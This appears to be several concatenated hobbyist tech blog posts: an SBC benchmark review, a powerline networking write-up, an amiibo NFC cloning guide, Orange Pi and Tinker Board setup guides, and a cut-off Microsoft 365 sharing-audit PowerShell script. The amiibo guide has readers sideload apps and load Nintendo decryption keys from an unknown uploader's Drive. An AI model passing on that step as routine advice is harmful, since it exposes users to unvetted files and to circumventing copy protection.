HDParm Cached Disk Read 1040.28 MB/s DD Disk Write 315 MB/s FIO 4k random read 117028 IOPS (468114 KB/s) FIO 4k random write 48075 IOPS (192300 KB/s) IOZone 4k read 97214 KB/s IOZone 4k write 130601 KB/s IOZone 4k random read 36854 KB/s IOZone 4k random write 91090 KB/s Score: 25,575 The full Radxa Rock 5B benchmark can be viewed here on Pi Benchmarks. This is the highest score I’ve ever achieved on Pi Benchmarks. I’ve finally shattered my Compute Module 4 record. I used the exact same drive as I used for my previous high benchmark as well (Samsung 960 EVO 1TB). This is PCIe 3.0 performance and that’s why it’s so outstanding. Pros / Cons Pros Uses the proper RK3588 giving you a PCIe 3.0 interface Incredibly powerful CPU and GPU Supports SSD / NVMe booting out of the box by simply writing the image to your drive Cons Much more expensive than the RK3588S variants Conclusion I don’t think we will see an answer to the Rock 5B and the other RK3588 boards from competitors for a while. All hail the new king of SBC performance! The Radxa Rock 5B doesn’t make any sacrifices using the full RK3588. It has PCIe 3.0 which is quite rare on single board computers. The CPU and GPU are incredibly powerful. The biggest drawback for many people will be the price. If the price seems too high starting around $140 I would highly recommend checking out the Orange Pi 5. The Orange Pi 5 uses the RK3588S which lacks the PCIe 3.0 interface but is much less expensive. You can get an Orange Pi 5 for <$100 so if budget is a concern definitely check out my Orange Pi 5 review. This board is suitable for beginners. It’s suitable for people from the Pi ecosystem who may be trying other boards for the first time. This board is a breath of fresh air because so many of the boards I test work great but are incredibly difficult to get started with. That’s not the case with the Rock 5B and some of the other RK3588/RK3588S models coming out and that’s very exciting. The only caveat I would add to that is that you will probably need to update the firmware when you get the device if you get one this early. It’s not nearly as hard as some of the other devices I’ve recently covered though. 2023 is looking to be a year of domination for the RK3588 and the cheaper RK3588S boards such as the Orange Pi 5. Radxa does have a Rock 5A coming out that uses the RK3588S and is going to be a lot cheaper than the Rock 5B. I have one of these pre-ordered and will review it when it arrives. The Rock 5B earns a strong recommend from me for anyone interested in high performance single board computers! Other Resources I’ve also reviewed the Radxa Rock Pi 4C+ here You can see all of my hardware reviews here! #### Alternative to Wired – Ethernet Over Power Ethernet over Power Wall Adapter Ethernet over powerline tech has existed for a while but traditionally has frankly sucked. It was slow and had issues with reliability. After decades of improving standards and technology this has changed dramatically and now makes a very cheap and attractive alternative to wireless in many situations. The latest iteration gives a 1200 Mbps connection right over your existing power lines in your house and is designed to work in “noisy” power environments without interruption. I deployed this technology in my home about 6 months ago to solve a networking issue I had. I was very skeptical of this technology as my previous encounters of it were more than a decade ago with speeds of < 10 Mbps and not very reliable. I would hear horror stories of how turning on the washing machine would cause dropped connections and very slow speeds. Table of Contents Toggle Use Cases for Ethernet Over PowerEquipmentInstallationPerformance TestsConclusion Use Cases for Ethernet Over Power I have a cryptocurrency mining setup in my garage consisting of a few PCs and some old video cards that would be rather unpleasant to have in my living room due to heat and noise. My apartment is on the second floor and the garage is ground level. Running a cable all the way from inside would have been > 100 ft to my router and would have been a real eyesore. Most of these PCs don’t have a wireless card built in and the ones that did got a very weak signal from down a story in a concrete garage. Here are some of the traditional options to connect a PC that is too far away for reliable wireless: Run a full ethernet cable directly to the machine either by drilling or running a really long cable Add a powerful wireless card with better / more sensitive antennas and hope your wireless router is putting out a strong enough signal to facilitate the connection Create a wireless bridge by adding a second wireless point as a “hop” that is close enough to talk reliably with the other router or close enough to run a Ethernet cable (routers need to support this function and be compatible to create a wireless bridge) In my situation drilling and running a cable was not an option as the apartment complex would not allow it and would consider it damages to the apartment if I did so. Wireless bridging was not an ideal option either as every apartment has their own WiFi point so the airways are very flooded creating reliability issues. Equipment ComTrend PowerLine I used the 2 unit kit but if you have more devices you need to connect in various places there are packs of 4 units and they can all be networked together. Installation Installing these is crazy easy. You simply plug it into the wall and plug an ethernet cable from your router into it. At the destination plug an ethernet cable from the second unit directly into your computer or into another switch/router. That’s it! Comtrend G.hn 1200 Mbps Powerline Ethernet Bridge Adapter 2-Unit Kit* plugged in by wall near main router This is the end of the two units that connects to my main router/internet connection. The blue cable in the picture goes into my main router. Now if we go down a story into my attached garage we can see the rack here: Garage mining rack using Ethernet over Power adapter Comtrend G.hn 1200 Mbps Powerline Ethernet Bridge* plugged into a power strip at the end of an extension cord I have the second unit plugged into a cheap powerstrip at the end of a 20′ extension cord. The unit plugs into a router (to the left of my keyboard in the garage rack picture). Performance Tests Let’s check the performance of the device. My environment is not an ideal setup as it is shared apartment complex units and going quite a distance even by power line. The end destination is plugged into a cheap powerstrip at the end of a long extension cord. I’m basically using extension cords as my own personal ethernet cables. Ethernet over Power speed test Now let’s do some ping and stability tests by running a continuous ping to google.com: C:\Users\james>ping -t google.com Pinging google.com [216.58.217.206] with 32 bytes of data: Reply from 216.58.217.206: bytes=32 time=17ms TTL=56 Reply from 216.58.217.206: bytes=32 time=17ms TTL=56 Reply from 216.58.217.206: bytes=32 time=18ms TTL=56 Reply from 216.58.217.206: bytes=32 time=18ms TTL=56 Reply from 216.58.217.206: bytes=32 time=18ms TTL=56 Reply from 216.58.217.206: bytes=32 time=18ms TTL=56 Reply from 216.58.217.206: bytes=32 time=17ms TTL=56 Reply from 216.58.217.206: bytes=32 time=18ms TTL=56 Ping statistics for 216.58.217.206: Packets: Sent = 8, Received = 8, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 17ms, Maximum = 18ms, Average = 17ms C:\Users\james> Ping is really great at 17ms. Connection bandwidth test looks good. Conclusion The Ethernet over Power setup ended up being perfect for setting up a mining rack out of the way in the garage. I avoided having to try to set up any wireless bridging / buy wireless adapters or drill any holes/running cable. Other types of projects that could utilize this: home servers, NAS storage setups, and basically any situation where having a PC out of the way is desirable. #### amiibo NFC Backup Guide for Mobility and Safety My girlfriend and I are huge fans of the Nintendo Switch and especially The Legend of Zelda: Breath of the Wild. The Switch is praised for its portability but whenever she comes over she brings the Switch but carrying all the accessory was a big pain. There are over a dozen amiibo figurines that work with Breath of the Wild and can give you very powerful items and abilities. But bring her whole collection of amiibo figures on top of the switch itself became too big of a load. To solve this she found a very compact and protective carrying case that made it very easy to take the Switch around safely. Mobile Switch Case Solution After researching many different case options she chose the Nintendo Switch Game Traveler Deluxe System Case* Nintendo Switch case closed up – smaller than a laptop bag Switch case open showing pro controller, base station, power, etc. With that problem resolved, we now had to figure out how in the world we were going to transport a dozen amiibos back and forth all the time. Thus, we looked for a way to be able to back up the amiibos so that she could just bring that instead and I was able to discover several other methods. The easiest and cheapest solution is to buy NTAG215 tags from Amazon and back them up using a NFC capable Android phone. The most robust solution is to buy a special chip called a N2 elite or sometimes called “Amiiqo”. I will cover using both of these methods to make working backups of your amiibos in this article. Table of Contents Toggle Solution A – Write your own NTAG215 amiibo backupsEquipment Needed:Required Software for amiibo BackupsBackup Complete!Solution B – The N2 Elite or “Amiiqo” chip – amiibo Storage BankAndroid InstructionsBackup Completed!PC InstructionsBackup Complete!Conclusion Solution A – Write your own NTAG215 amiibo backups Equipment Needed: Official Nintendo amiibo – We will be using the official Nintendo Wolf Link amiibo *for this exercise: Official Nintendo Wolf Link amiibo* NTAG215 Keyfobs Pack – 10 keyfobs* -OR- NTAG215 Sticker Pack – 100 Count* NTAG215 tags – assortment of 10* Tags *MUST* be NTAG215!* Not 213, not 216, only NTAG215 *will work. Any other type of tag will immediately be rejected by the Switch or a 3DS.NFC capable Android phone – The Samsung Galaxy S8 was used for this article. Check Google to see if your Android phone supports NFC as it is required to be able to communicate with the chips.iPhones and iPads will not work at this time because Apple has disabled the NFC chip for everything except ApplePay. Android is an excellent solution for making backups of your figures because they are extremely durable and portable.  They fit nicely in her carrying bag and allow her to leave her amiibo figures safely at home.   The tags featured above are tough plastic that can be written on with a sharpie to label which amiibo is backed up on it.  They also can easily be attached to anything.   I recommend a spare keychain as it keeps them all neatly together. They can also easily be put into a safe to protect against fire or theft. Required Software for amiibo Backups The best software I have found for writing amiibo backups to NTAG215 chips is called TagMo. This software is not available in the Google Play store at this time but it is still very easy to install. Step 1: Go to your Android applications menu and choose the Settings app. Now scroll down to “Lock Screen and Security”. Scroll down to the security section and enable “Unknown Sources”. This will allow you to install applications from outside the Google Play store. This step can vary slightly by phone, so if you are having trouble finding this setting then google how to enable packages from unknown sources on your Android model. Step 2: Download TagMo from your phone’s browser. The latest TagMo is located on GitHub at the TagMo Official Page. Download the latest TagMo.apk file. Once the download completes open it and choose to install. Step 3: Go to your applications and open TagMo. It will look like this initially: TagMo Initial Startup Step 4: Scan your amiibo. Click the “Scan Tag” button and hold your amiibo against the back of the phone. It will detect your amiibo and tell you what it is. In this case, I scanned in Wolf Link and got this: Scanned Wolf Link TagMo Step 5: At this point your amiibo has been detected and you can actually click “Save Tag” and save a copy of your amiibo to your phone. You can also restore this backup to your amiibo at any time. If you just want a file backup of your amiibo you can stop here. However, if we want to write our amiibo to one of our cool PVC tags, there are a couple more steps we need to do first. Step 6: At the top of the screen you will see 2 lines in red text that say “No unfixed key” and “No locked key”. We will need to resolve this to be able to back up our amiibo to another tag. We will need to download 2 more files to our phone that will allow us to back up amiibos. Note: I do not host these files and can’t guarantee they will stay around. I have no idea who uploaded them. All I know is that someone much smarter than me figured out these keys and shared them which allow us to back up our amiibos to other tags: Google Drive amiibo Bins File Collection (Keys available at the bottom) Step 7: In TagMo click the dots in the upper right corner and select the files from your Downloads folder. They will be called “locked-secret.bin” and “unfixed-info.bin”. After this step your TagMo applications red lines should turn green and look like this: TagMo ready to write Step 8: Notice that every button in TagMo is now lit up. You are ready to back up your amiibo to a NTAG215. Choose the “WRITE TAG (AUTO)” option. It will ask you to hold up your NTAG215 and will back up the amiibo to the tag. Backup Complete! That is it! You have now created a backup tag of your amiibo for safe keeping. You may now test it by holding it over your Switch or 3DS reader and it will read identically to your normal amiibo. You can repeat this process for as many amiibos and tags as you have and create a full set of backups. Solution B – The N2 Elite or “Amiiqo” chip – amiibo Storage Bank The N2 Elite or Amiiqo with the USB reader/writer module This is the gold standard for backing up amiibos.  The chip is so popular now that it has become very difficult to find.  With this chip you can use either a PC/Mac/Android to back up all of your amiibos into one chip.  A single N2 Elite chip can hold up to *200* amiibos. But the best part about this chip is that it is re-writable.  That means if you are for example leveling up Wolf Link you are able to save your progress to this chip. Solution A tags are not re-writable so if you made progress with an amiibo that wasn’t maxed out you would need to use a new chip. You can switch amiibos using the little button on the bottom of the chip or by using the Android app.  If you don’t have a NFC capable Android phone you definitely will want to get the USB reader/writer combo otherwise you will have no way to load your amiibos. Equipment: N2 Elite with USB Reader/Writer*OR*N2 Elite Standalone (requires Android phone with NFC) The N2 chip is much cheaper for the version without the USB reader (highly recommended for those of you with a NFC capable Android phone).  If you don’t have a NFC capable phone get the version that includes the USB Reader/Write. Android Instructions The Android application for the N2 Elite is much better than the Windows/Mac software currently released. It is very easy to use. Follow these steps: Step 1: Go to your Android applications menu and choose the Settings app. Now scroll down to “Lock Screen and Security”. Scroll down to the security section and enable “Unknown Sources”. This will allow you to install applications from outside the Google Play store. This step can vary slightly by phone, so if you are having trouble finding this setting then google how to enable packages from unknown sources on your Android model. Step 2: Download the N2 Android application APK from here: N2 Elite Download Page Step 3: Install the N2 Elite Android application and open it Step 4: The N2 Elite application will open and is already ready to scan in your amiibo. Hold up your amiibo against the back of the phone. It should read your amiibo within a few seconds and you will see this: Wolf Link amiibo scanned by N2 Android and ready to back up Step 5: Click the “Dump” button to save your amiibo to your phone. You should get a “dumped successfully” message and your backup has been created. WARNING: I do not recommend using the lock/unlock buttons at all. Leave your original amiibos the way they are. Do not attempt to unlock them. Do not attempt to write to them. If you mess with them you could corrupt them making them useless. Let’s leave the writing for the N2 chip where if we make mistakes we can just try again. Step 6: Now scan your N2 Elite chip.  It will look like this: N2 Android app after scanning N2 Elite chip Step 7: The N2 chip has now been read. Go ahead and click “Manage Banks”. You will see the available bank slots on the N2. Choose one of the slots and hold press on it and a menu will pop up. Choose “Select an amiibo”. Navigate to your saved amiibo from Step 5. Backup Completed! That is it! You should now see your amiibo saved in that slot. It is very easy to change which active amiibo you are using in Android or you can use the press button on the chip itself to cycle through available amiibos. Repeat this process for as many amiibos as you need to back up. If you need more slots, use the “Set Bankcount” option as you have up to 200 slots available. My set of backups looks like this: Populated N2 Elite amiibo backups inside the Android app PC Instructions The Windows/Mac application is pretty awful but it does get the job done. Here is how it is used step by step.Step #1: Download and install the USB drivers from the N2 Elite Download Page under the line “PLEASE DOWNLOAD AND INSTALL USB DRIVERS” Step #2: Next Download the Windows or Mac “N2 Manager” application for the operating system you are using and install Step #3: Connect the N2 Elite USB reader to your computer Step #4: Run the N2 Manager program. It will look like this: N2 Elite Manager Software – Windows Step #5: Put your amiibo on the reader. Here is Wolf Link mounting the N2 Elite reader: Wolf Link mounts the N2 Elite USB Reader Step #6: Hit connect and you should get the message “amiibo tag found!” and will look like this: N2 Elite manager after reading Wolf Link Amiibo Step #7: Hit “Dump amiibo” and it will bring up a dialog to save your amiibo data as a .bin file. You can save this wherever you want. We will be using it to load the backup on to the N2 Elite chip in the next steps so make sure to put it somewhere that you know where it is. WARNING: I do not recommend using the lock/unlock buttons at all. Leave your original amiibos the way they are. Do not attempt to unlock them. Do not attempt to write to them. If you mess with them you could corrupt them making them useless. Let’s leave the writing for the N2 chip where if we make mistakes we can just try again. Step #8: Click “Disconnect” and Unmount Wolf Link from the N2 USB Reader/Writer and put our N2 elite chip on there. Now hit Connect and it will connect to our N2 chip. It will look something like this: N2 Elite Manager with N2 elite chip loaded Step #9: As you can see we can see our different slots we have to load our amiibo backups into. By default there are usually 5-10 slots enabled but I recommend changing this setting first. Click the “Set Bankcount” button and enter the number of amiibo you plan to back up. This can be extended later and can go up to 200 amiibos. I recommend setting it to exactly the amount you have because each time you press the button on the chip it will cycle to the next amiibo. This means if you set it to 200 and only have 4 amiibos on it cycling the chip is going to be extremely annoying. Set it to the amount of amiibos you have so that when you press the button it cycles through correctly. Step #10: Double click one of the empty slots in the bank grid on the right. It will bring up a dialog asking you for your .bin file. Navigate to where you saved your amiibo backup and select the file. Your amiibo backup will immediately be uploaded into that slot. The icon will probably be wrong or missing. Notice that my Wolf Link amiibo showed up in the N2 Manager as the Smash Brothers Link icon. This is because the Windows/Mac software is very cruddy like I mentioned earlier. Don’t worry about it, your amiibo is now on there and is ready to test! Backup Complete! That is it! You have now learned how to backup your amiibo onto the N2 Elite chip. Go ahead and take the chip to your Switch/3DS and test it to make sure it works. If everything looks good you can continue to back up the rest of your amiibo collection using the same steps. Just use a different slot for each amiibo and if you run out of slots use the “Set Bankcount” button to expand your storage up to 200 amiibos. Conclusion Backing up your amiibo figures is easy if you have the right equipment. Given that these can be a pretty large investment it is best to protect yourself. You also have the added benefit of being able to take a keychain of your amiibos with you! #### Android Installation for Orange Pi Guide It’s quite a bit more tricky to install Android on the Orange Pi than Linux (which is as simple as writing the image to the SD card with Etcher). As long as you know the right software to use and where to get it though it’s not too bad. In this guide I’ll show you how to set up Android on the Orange Pi from start to finish. Let’s begin! Table of Contents Toggle Hardware UsedGetting the Android ImageGetting PhoenixCardWriting Image to SD CardTesting Orange PiWriting Image to eMMCConclusionOther Resources Hardware Used For this guide I used the Orange Pi Zero 2 when writing the instructions but any Orange Pi will work. Orange Pi Zero 2 The Orange Pi Zero 2 is a low-cost board from the Orange Pi line of SBCs. It has both a 512 MB or 1 GB RAM option available. Built-in WiFi with included external antenna. Also includes case and a short USB-c power cable. Seems to be pretty widely available in most countries. Links: Amazon.com*, AliExpress.com*, Amazon.ca*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se* The Orange Pi runs hot so a decent heatsink kit with conductive thermal adhesive really helps: Geekworm Copper Heatsink Set The Geekworm copper heatsink set is designed to fit many different single board computers. It uses thermal conductive adhesive which many “cheap” heatsink kits for SBCs don’t have. Eliminates hotspots and reduces throttling. Can be further enhanced by powered cooling over the heatsinks. Links: Amazon.com*, Amazon.ca*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it* Getting the Android Image Orange Pi – Official Downloads Page First we need to get the Android image from the Orange Pi web site. The official Orange Pi downloads page is here. Choose your model of Orange Pi and it will take you to this page: Orange Pi Zero 2 – Model Download Page The “Android Image” is what we are looking for. Click on “Android Image” and it will take you to a Google Drive location that has the image to download. At time of writing this was OrangePi_Zero2_Android10_v1.1.tar.gz. Start the file download now (it’s around 400 MB or so). Getting PhoenixCard While we are still in the downloads section of the Orange Pi site there is another utility we need. Now click the “Office Tools” link on the Orange Pi site for your model. This will take you to another drive with a whole bunch of utilities on it. The utility we need is called PhoenixCard. The filename on Google Drive is PhonixCard-4.2.5.zip at time of writing. Note: This is a Windows only utility. Here is what the Orange Pi documentation says about PhoenixCard: The Android image of the development board can only be burned into the TF card using the PhoenixCard software under the Windows platform, and the version of the PhoenixCard software must be PhonixCard-4.2.8. Please do not use software that burns Linux images, such as Win32Diskimager or balenaEtcher, to burn Android images. In addition, the PhoenixCard software does not have versions for Linux and Mac platforms, so it is impossible to burn Android images to TF cards under Linux and Mac platforms. This is definitely a bit of a bummer and I wish you didn’t have to use this proprietary flashing software for Android but that is the situation. This probably won’t be a problem for most of you as even if you don’t run Windows my guess is that you’ll be able to find a Windows PC to use temporarily to write this image to the SD card. If you extract the zip file you will see a folder that has “PhoenixCard.exe” in it. That’s the flashing application! Writing Image to SD Card First we need to extract the image from the OrangePi_Zero2_Android10_v1.1.tar.gz file we downloaded earlier. If you are on Windows you may need a utility to extract a .tar.gz file. I recommend 7zip for that which is a great open source utility that can extract just about anything. Once you extract the .tar.gz you should find the file OrangePi_Zero2_Android10_v1.1.img. This is the file we are going to use inside PhoenixCard. Now open PhoenixCard. Press the “Image” button in the top left of the screen. Navigate to where you extracted the files and select OrangePi_Zero2_Android10_v1.1.img. If you haven’t already insert the SD card you are going to write the image to. Press “Refresh” and it should populate in the window: PhoenixCard – Ready to write image You can see my drive “D” on the list. Now change the “Work Type” from “Product” to “Start up”. This will create an Android image that boots from your SD card. I’ll cover the “Product” type in the next section (it’s for creating a SD card that writes itself to the eMMC). Now go ahead and press “Burn”. If you are one of the lucky ones that doesn’t experience issues with this program then you should see this in your “Output message”: D: Formatting the card ...... D: Start Burning... D: [phoenix card_00]Burn Success D: [phoenix card_10]Burn Success D: [MBR ]Burn Success D: [bootloader ]Burn Success D: [env ]Burn Success D: [boot ]Burn Success D: [super ]Burn Success D: [misc ]Burn Success D: [recovery ]Burn Success D: [cache ]Burn Success D: [vbmeta ]Burn Success D: [DATA File] Burn Success D: Magic Complete D: Burn End... Testing Orange Pi Now put the device into the Orange Pi and connect it to a screen/monitor and connect the power: Orange Pi Zero 2 Android First Startup and we’re in! The device is now ready to be configured. Writing Image to eMMC To create a SD card that writes the image to the eMMC built into the Orange Pi you need to successfully complete a burn in PhoenixCard in “Product” mode. This is the mode that I and many others have trouble with. Mine specifically would freeze at 32-33% after writing the MBR and another small partition successfully. Tips for fixing this ranging from having all of your Windows updates to using something like Windows XP. It’s all over the map. Changing which version of PhoenixCard you are using seems to make the most difference. Perhaps if I had the version 4.2.8 that Orange Pi references in the documentation it would do a successful “Product” mode burn. If any of you successfully have completed this let us know in the comments what version you used or any tricks you used to get it to successfully create this type of SD card. See this page from the Orange Pi documentation for more information on that. I plan to update this section more once I’ve figured this out but for now all I can say is I was not able to create this type of image successfully yet. Orange Pi uploading the right version of the PhoenixCard utility to the board’s “Utilities” page would probably do it. Let’s hope someone from there sees this guide and puts it up there for us! Conclusion It’s so much easier to image these with Linux. No doubt about it. The biggest problem with the Android images is that you have to use PhoenixCard which is literal garbage and I doubt any of you will disagree once you’ve used it. Hopefully additional / better solutions become available to create bootable Android images for the Orange Pi. I definitely recommend trying the SD-based boot before trying to write the image to the eMMC as that seems to be where people really run into problems and the right version of the PhoenixCard software (according to Orange Pi’s documentation) doesn’t seem to be available. I strongly recommend Linux. It’s so much smoother of an experience than the current state of Android mostly thanks to PhoenixCard I would say. If you’re having a lot of problems with Android the Linux one will start right up. All that being said I was able to successfully boot Android with a SD based installation on the Orange Pi Zero 2. Not bad for a ~$35ish board! I also recently received a Orange Pi i96 that was on sale for only $10 that can also run both Linux and Android images and I’ll have a getting started guide out for that one soon and I’m very excited to finish that board’s guide! Other Resources Check out my Orange Pi Zero 2 review for some additional tips #### ASUS Tinker Board Getting Started Guide Tinker Board Getting Started Guide My wife got me a Tinker Board several years ago as a gift and I always meant to cover it on the site but got busy and forgot about it. Due to the ongoing Raspberry Pi shortage and high prices I’ve been reexamining boards from other manufacturers and found that the Tinker Board is widely available for something like ~$76. There are several more powerful versions available as well such as the Tinker Board 2S model. Today I will correct the injustice done to the Tinker Board and cover how to get a Tinker Board all set up with the latest image and updates. Let’s get started! Table of Contents Toggle Hardware UsedGetting Tinker Board ImagesAlternative Image (Armbian)Writing the ImageWriting to eMMC (S and 2S models only)First Startup / Initial LoginInitial ConfigurationWiFi ConfigurationVia CLIVia GUIConclusionOther Resources Hardware Used ASUS Tinker Board This is the original version of the Tinker Board. It contains a 1.8GHz Quad Core CPU, a 600MHz Mali-T764 GPU and 2GB DDR3 RAM. Less than half the cost of the new version (on Amazon) and still quite capable. Links: Amazon.com*, AliExpress.com* (S version) ASUS Tinker Board 2S This is the fully loaded and newest version version of the board containing a 16GB eMMC as well as 4 GB of RAM. It’s a 6-Core 2.0 GHz Rockchip RK3399 single board computer. Also has Bluetooth 5.0 capabilities. Links: Amazon.com*, AliExpress.com* Getting Tinker Board Images First head to the official ASUS Tinker Board images download site. Now select your model of Tinker Board from the downloads page: Tinker Board Downloads Page Now a quick note here. I’m on the original Tinker Board and you can see that despite that the top image choice for me is the “Tinker Board S R2.0 Debian 10 V3.0.11”. That is because that image is actually fine to use on the original Tinker Board and I actually recommend it. It’s at least Debian Buster which is much, much newer than the older Tinker Board original images they have on there. Android images are also available. I highly recommend that no matter what came with your Tinker Board or what is installed on it now that you reimage it with the latest available versions. You will have a smoother time this way. Click “Download” once you’ve found the image that you want. Alternative Image (Armbian) If you need a newer kernel definitely try using the Armbian Tinker Board image. This will get you all the way up to kernel 5.15.y at time of writing. That is much newer than anything the official Tinker Board images have. Writing the Image The download that you got in the previous section will be zipped. Unzip that file and inside you will have a file you can write to a SD card. For this guide I chose the Debian Buster image which came as Tinker_Board-Debian-Buster-v3.0.11-20211026.zip. After unzipping this file inside the archive I had Tinker_Board-Debian-Buster-v3.0.11-20211026.img. This is the file you are going to write to your SD card. To write the image to the SD card you can use any number of available utilities. A common choice that is available on all platforms is Etcher. Writing to eMMC (S and 2S models only) If you have a Tinker Board model that has a built-in eMMC storage drive you can actually plug the Tinker Board right into your PC and image the eMMC with Etcher exactly like you would a SD card. When you connect the Tinker Board S / 2S to your computer via USB cable the eMMC will show up as a regular drive that you can image the exact same way as the previous section. You can also see the official Tinker Board documentation specific to writing the OS image to the eMMC here. First Startup / Initial Login Now that imaging is complete we’re ready to do the Tinker Board’s first boot. Insert the SD card if applicable and power on the device. You can either connect a TV/monitor via HDMI or you can do it headlessly if the Tinker Board is going to be connected via an Ethernet cable as we can SSH into the device that way. The credentials for initial login are: User: linaro Password: linaro If you are using a monitor you can log in that way or if you are using SSH you would use a command like ssh linaro@192.168.X.X and log in with those credentials. You should change your password now for the linaro user for security purposes. You can change it with: passwd Initial Configuration The Tinker Board has a tool for configuration that is very similar to raspi-config if you have ever used a Raspberry Pi. On the Tinker Board the command is: sudo tinker-config This will bring up the following menu: tinker-config Configuration Menu This will let you do the essential configuration for the board. WiFi Configuration The WiFi configuration is not available in tinker-config for whatever reason (at least on the original Tinker Board). Here is how we can configure it: Via CLI sudo su root nmcli r wifi nmcli dev wifi This will do a wireless scan via CLI and show you the available points. You should see your WiFi access point. We can connect to it with: nmcli dev wifi connect wifi_name password "wifi_password" Via GUI Click the “Start menu”-ish button in the bottom left of the screen to pull up the menu. Choose the “Preferences” section and then choose “Advanced Network Configuration”: Tinker Board – Menu This will bring up the Network Manager GUI. Click the + button at the bottom of the screen and choose “WiFi” for the network type. Now simply type in your SSID. Now switch to the “Wi-Fi Security” tab and choose your security type (WEP/WPA/etc.) from the dropdown menu. Enter your password. Now simply click “Save”. I did not fill out any other fields when I did my initial configuration other than the SSID and the WiFi security type and password. It immediately connected and even powering the board off and on it will reconnect to your network. Conclusion Congratulations, you’ve now configured the Tinker Board! It’s pretty much ready for whatever use case you have for it. The official kernels are still a little bit older than I’d like. Keep in mind that you can install other distros on the Tinkerboard such as Armbian. For anyone who is reading this that doesn’t have a Tinker Board and is wondering if it is an easy board to use I would say yes it definitely is. The price has fallen a lot especially on the early models and they’re a pretty attractive choice right now! Other Resources Don’t miss my Tinker Board SSD Booting guide here for how to use a SSD with the Tinker Board Definitely check out my Orange Pi Zero 2 review if you are looking for widely available inexpensive boards You may want to benchmark your storage on the Tinker Board using my SBC storage benchmark to verify performance #### Auditing External File Sharing in Microsoft 365 with PowerShell Auditing External File Sharing in Microsoft 365 with PowerShell External sharing is a compliance nightmare. Your 365 tenant has dozens of SharePoint sites, each with document libraries, and files are shared via links or direct invitations. The SharePoint admin center shows you a high-level sharing policy per site, but it won’t tell you which specific files are shared externally or with whom. I wrote a script that walks every site, every drive, and every file in your tenant using the Microsoft Graph API, then exports a CSV of every externally shared file with who it’s shared with. Table of Contents Toggle Why the Graph API?PrerequisitesStep 1: Enumerate All SitesStep 2: Get Drives Per SiteStep 3: Find Shared ItemsStep 4: Inspect PermissionsStep 5: Resolve GranteesStep 6: Build the ReportThe Full ScriptPerformance ConsiderationsWhen to Run ThisHow can I find every externally shared file across my Microsoft 365 tenant?Do I need Global Admin rights to audit external sharing?How do I avoid getting throttled by Microsoft Graph API during a large audit? Why the Graph API? The older PnP PowerShell modules can tell you about site-level sharing settings, but file-level permission details require Graph. The Graph endpoints for drive items and permissions give you the actual invitation emails, link scope, and grantee identities. Prerequisites You’ll need the Microsoft Graph PowerShell SDK and an account with at least Sites.Read.All and Directories.Read.All scope: Install-Module Microsoft.Graph Connect-MgGraph -Scopes "Sites.Read.All", "Directory.Read.All" For read-only auditing, these scopes are all you need (no global admin required). Step 1: Enumerate All Sites $sites = Get-MgSite -All This returns every SharePoint site and OneDrive for Business drive in the tenant. The -All flag handles pagination automatically. Step 2: Get Drives Per Site Each site can have multiple document libraries (drives). You need to check them all: foreach ($site in $sites) { $drives = Get-MgSiteDrive -SiteId $site.Id foreach ($drive in $drives) { # ... check each drive } } Step 3: Find Shared Items This is the key filter — only items that have been shared show up: $items = Get-MgDriveItem -DriveId $drive.Id -Filter "Shared ne null" -PageSize 5000 The -Filter "Shared ne null" clause is server-side and dramatically reduces the result set. Without it, you’d be pulling every file in every library just to check a flag. The -PageSize 5000 maximizes the batch size to reduce API round trips. Step 4: Inspect Permissions For each shared item, the script pulls the detailed permissions and checks two conditions: Direct invitations — someone outside the organization was explicitly invited ($permission.Invitation.Email) External links — a sharing link was created with a scope broader than "organization" ($permission.Link.Scope) $permissions = Get-MgDriveItemPermission -DriveId $drive.Id -DriveItemId $item.Id foreach ($permission in $permissions) { if ($null -ne $permission.Invitation.Email -or ($null -ne $permission.Link.Scope -and "organization" -ne $permission.Link.Scope)) { # This file is shared externally } } Step 5: Resolve Grantees Graph returns grantee information in one of two property paths depending on how the file was shared. The script checks both: if ($null -ne $permission.GrantedToIdentities) { $SharedWithUser = $permission.GrantedToIdentities.User.DisplayName -join ", " } elseif ($null -ne $permission.GrantedTo) { $SharedWithUser = $permission.GrantedTo.User.DisplayName -join ", " } This captures users, applications, and devices that have been granted access. Step 6: Build the Report Each externally shared file becomes a structured object with the site name, drive name, file name, share scope, share type, web URL, and grantee details: $SharedFile = [pscustomobject]@{ SiteName = $site.DisplayName DriveName = $drive.Name FileName = $item.Name FileId = $item.Id DriveId = $drive.Id ShareScope = $permission.Link.Scope ShareType = $permission.Link.Type WebUrl = $permission.Link.WebUrl SharedWithUser = $SharedWithUser SharedWithApp = $SharedWithApp SharedWithDevice = $SharedWithDevice InvitationEmail = $permission.Invitation.Email } At the end, everything exports to CSV: $externallySharedFiles | Export-Csv -Path "ExternallySharedFiles.csv" -NoTypeInformation The Full Script # Get SharePoint or OneDrive sites (adjust for specific sites or drives if needed) $sites = Get-MgSite -All # Initialize an array to store results $externallySharedFiles = @() # Loop through each site and its drives (OneDrive and SharePoint sites) foreach ($site in $sites) { Write-Host "Checking site: $($site.DisplayName)" # Get all drives (document libraries) within the site $drives = Get-MgSiteDrive -SiteId $site.Id foreach ($drive in $drives) { # Get all items (files and folders) from the drive $items = Get-MgDriveItem -DriveId $drive.Id -Filter "Shared ne null" -PageSize 5000 Write-Host "Checking drive: $($drive.Name) - Count: $($items.Count)" foreach ($item in $items) { # Check if the item has any sharing permissions or links $permissions = Get-MgDriveItemPermission -DriveId $drive.Id -DriveItemId $item.Id foreach ($permission in $permissions) { if ($null -ne $permission.Invitation.Email -or ($null -ne $permission.Link.Scope -and "organization" -ne $permission.Link.Scope)) { Write-Host "Externally shared files found $($permission.Invitation.Email)" if ($null -ne $permission.GrantedToIdentities) { $SharedWithUser = $permission.GrantedToIdentities.User.DisplayName -join ", " $SharedWithApp = $permission.GrantedToIdentities.Application.DisplayName -join ", " $SharedWithDevice = $permission.GrantedToIdentities.Device.DisplayName -join ", " } elseif ($null -ne $permission.GrantedTo) { $SharedWithUser = $permission.GrantedTo.User.DisplayName -join ", " $SharedWithApp = $permission.GrantedTo.Application.DisplayName -join ", " $SharedWithDevice = $permission.GrantedTo.Device.DisplayName -join ", " } $SharedFile = [pscustomobject]@{ SiteName = $site.DisplayName DriveName = $drive.Name FileName = $item.Name FileId = $item.Id DriveId = $drive.Id ShareScope = $permission.Link.Scope ShareType = $permission.Link.Type WebUrl = 